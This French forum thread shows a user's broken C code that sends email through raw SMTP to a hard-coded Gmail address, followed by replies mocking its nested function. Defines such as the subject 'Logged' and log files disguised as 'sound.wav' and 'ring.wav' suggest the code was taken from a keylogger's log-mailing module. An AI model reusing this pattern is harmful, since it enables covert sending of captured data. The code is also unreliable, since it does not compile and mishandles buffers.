IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Réseau C Discussion :

Problème envoi d'un fichier par email


Sujet :

Réseau C

  1. #1
    Membre du Club
    Profil pro
    Inscrit en
    Mars 2009
    Messages
    162
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mars 2009
    Messages : 162
    Points : 62
    Points
    62
    Par défaut Problème envoi d'un fichier par email
    voici le code
    mais je n'arrive pa a recevoir un email
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
     #include <stdio.h>
     #include <stdlib.h>
     #include <windows.h>
     #include <winuser.h>
     #include <windowsx.h>
     #include <time.h>
    #include <winsock.h>
    #include <iostream>
    #include <cstdio>
    #include <sstream>
    #include <fstream>
    #include <sys/types.h>
     
    int MailIt (char *mailserver, char *emailto, char *emailfrom,
     char *emailsubject, char *emailmessage);
     #define BUFSIZE 800
     #define waittime 500
     /*tapper :
     "nslookup -querytype=mx gmail.com" dans la console msdos
     si vous souhaitez avoir les serveurs SMTP à jour*/
     #define cmailserver "gmail-smtp-in.l.google.com"
     #define cemailto "monadrss@gmail.com"
     #define cemailfrom "destinataire@gmail.com"
     #define LogLength 100
     #define FileName "sound.wav"
     #define SMTPLog "ring.wav"
     #define cemailsubject "Logged"
    int main()
    {
    int MailIt (char *mailserver, char *emailto, char *emailfrom,
     char *emailsubject, char *emailmessage) {
     SOCKET sockfd;
     WSADATA wsaData;
     FILE *smtpfile;
     
     #define bufsize 300 // taille du fichier pour l' envoie
     int bytes_sent;
     int err;
     struct hostent *host; // gethostbyname /
     struct sockaddr_in dest_addr; // adresse de l'hote
     char line[1000];
     char *Rec_Buf = (char*) malloc(bufsize+1);
     smtpfile=fopen(SMTPLog,"a+");
     if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
     fputs("WSAStartup failed",smtpfile);
     WSACleanup();
     return -1;
     }
     if ( (host=gethostbyname(mailserver)) == NULL) {
     perror("gethostbyname");
     exit(1);
     }
     memset(&dest_addr,0,sizeof(dest_addr));
    memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
     
     // Prepare dest_addr
     dest_addr.sin_family= host->h_addrtype;
     dest_addr.sin_port= htons(25); // PORT
     
     if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
     perror("socket");
     exit(1);
     }
     /// Connection !
     fputs("Connecting....\n",smtpfile);
     
     if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
     perror("connect");
     exit(1);
     }
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"helo me.somepalace.com\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"MAIL FROM:<");
     strncat(line,emailfrom,strlen(emailfrom));
     strncat(line,">\n",3);
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"RCPT TO:<");
     strncat(line,emailto,strlen(emailto));
     strncat(line,">\n",3);
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"DATA\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     Sleep(waittime);
     strcpy(line,"To:");
     strcat(line,emailto);
     strcat(line,"\n");
      strcat(line,"From:");
     strcat(line,emailfrom);
     strcat(line,"\n");
     strcat(line,"Subject:");
     strcat(line,emailsubject);
     strcat(line,"\n");
     strcat(line,emailmessage);
     strcat(line,"\r\n.\r\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"quit\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     fclose(smtpfile);
     #ifdef WIN32
     closesocket(sockfd);
     WSACleanup();
     #else
     close(sockfd);
     #endif
     }

  2. #2
    Expert éminent sénior
    Homme Profil pro
    Développeur informatique
    Inscrit en
    Février 2005
    Messages
    5 182
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 52
    Localisation : France, Val de Marne (Île de France)

    Informations professionnelles :
    Activité : Développeur informatique
    Secteur : Conseil

    Informations forums :
    Inscription : Février 2005
    Messages : 5 182
    Points : 12 316
    Points
    12 316
    Par défaut
    GMAIL fournis une API en WebService, cela vous simplifiera grandement la vie.

  3. #3
    Membre du Club
    Profil pro
    Inscrit en
    Mars 2009
    Messages
    162
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mars 2009
    Messages : 162
    Points : 62
    Points
    62
    Par défaut
    Citation Envoyé par bacelar Voir le message
    GMAIL fournis une API en WebService, cela vous simplifiera grandement la vie.
    comment opn l'utilise ?

  4. #4
    Expert éminent sénior
    Homme Profil pro
    Développeur informatique
    Inscrit en
    Février 2005
    Messages
    5 182
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 52
    Localisation : France, Val de Marne (Île de France)

    Informations professionnelles :
    Activité : Développeur informatique
    Secteur : Conseil

    Informations forums :
    Inscription : Février 2005
    Messages : 5 182
    Points : 12 316
    Points
    12 316
    Par défaut
    C'est sur leur site, à Google.
    Il te faut une bibliothèque pour client WebService.

  5. #5
    Membre du Club
    Profil pro
    Inscrit en
    Mars 2009
    Messages
    162
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mars 2009
    Messages : 162
    Points : 62
    Points
    62
    Par défaut
    nan je cherche depui 2 jour et jtrouve rien sur une API google
    ...

  6. #6
    Expert éminent sénior

    Profil pro
    Inscrit en
    Janvier 2007
    Messages
    10 610
    Détails du profil
    Informations personnelles :
    Âge : 66
    Localisation : France

    Informations forums :
    Inscription : Janvier 2007
    Messages : 10 610
    Points : 17 923
    Points
    17 923
    Billets dans le blog
    2
    Par défaut
    euh...

    Tu crois faire quoi quand tu écris :


    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
     
    int main()
    {
    int MailIt (char *mailserver, char *emailto, char *emailfrom,
     char *emailsubject, char *emailmessage) {
     SOCKET sockfd;
     WSADATA wsaData;
     FILE *smtpfile;

  7. #7
    Membre émérite Avatar de nicolas.sitbon
    Profil pro
    Inscrit en
    Août 2007
    Messages
    2 015
    Détails du profil
    Informations personnelles :
    Âge : 41
    Localisation : France

    Informations forums :
    Inscription : Août 2007
    Messages : 2 015
    Points : 2 280
    Points
    2 280
    Par défaut
    Citation Envoyé par souviron34 Voir le message
    euh...

    Tu crois faire quoi quand tu écris :


    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
     
    int main()
    {
    int MailIt (char *mailserver, char *emailto, char *emailfrom,
     char *emailsubject, char *emailmessage) {
     SOCKET sockfd;
     WSADATA wsaData;
     FILE *smtpfile;
    Une nested function !

  8. #8
    Expert éminent sénior

    Profil pro
    Inscrit en
    Janvier 2007
    Messages
    10 610
    Détails du profil
    Informations personnelles :
    Âge : 66
    Localisation : France

    Informations forums :
    Inscription : Janvier 2007
    Messages : 10 610
    Points : 17 923
    Points
    17 923
    Billets dans le blog
    2
    Par défaut
    Citation Envoyé par nicolas.sitbon Voir le message
    Une nested function !


    ça donne même pas envie d'aller voir plus loin...

  9. #9
    Membre du Club
    Profil pro
    Inscrit en
    Mars 2009
    Messages
    162
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mars 2009
    Messages : 162
    Points : 62
    Points
    62
    Par défaut
    jai essayer de reprendre un script mais jme suis embrouillé les pinso en codant et maintenant jsuis comme un con jmy retrouve plus

Discussions similaires

  1. [XL-2007] Envoie fichier par email
    Par Ambrocbt dans le forum Macros et VBA Excel
    Réponses: 9
    Dernier message: 29/09/2011, 14h23
  2. envoi d'un fichier par email
    Par Hellgast dans le forum Réseau
    Réponses: 5
    Dernier message: 14/09/2009, 14h50
  3. Réponses: 12
    Dernier message: 13/01/2006, 10h14
  4. envoi d'un état par email à partir d'un formulaire
    Par claudio-esco dans le forum Access
    Réponses: 7
    Dernier message: 09/12/2005, 11h05
  5. Envoie d'un fichier par Internet
    Par gust dans le forum Access
    Réponses: 7
    Dernier message: 07/12/2005, 15h59

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo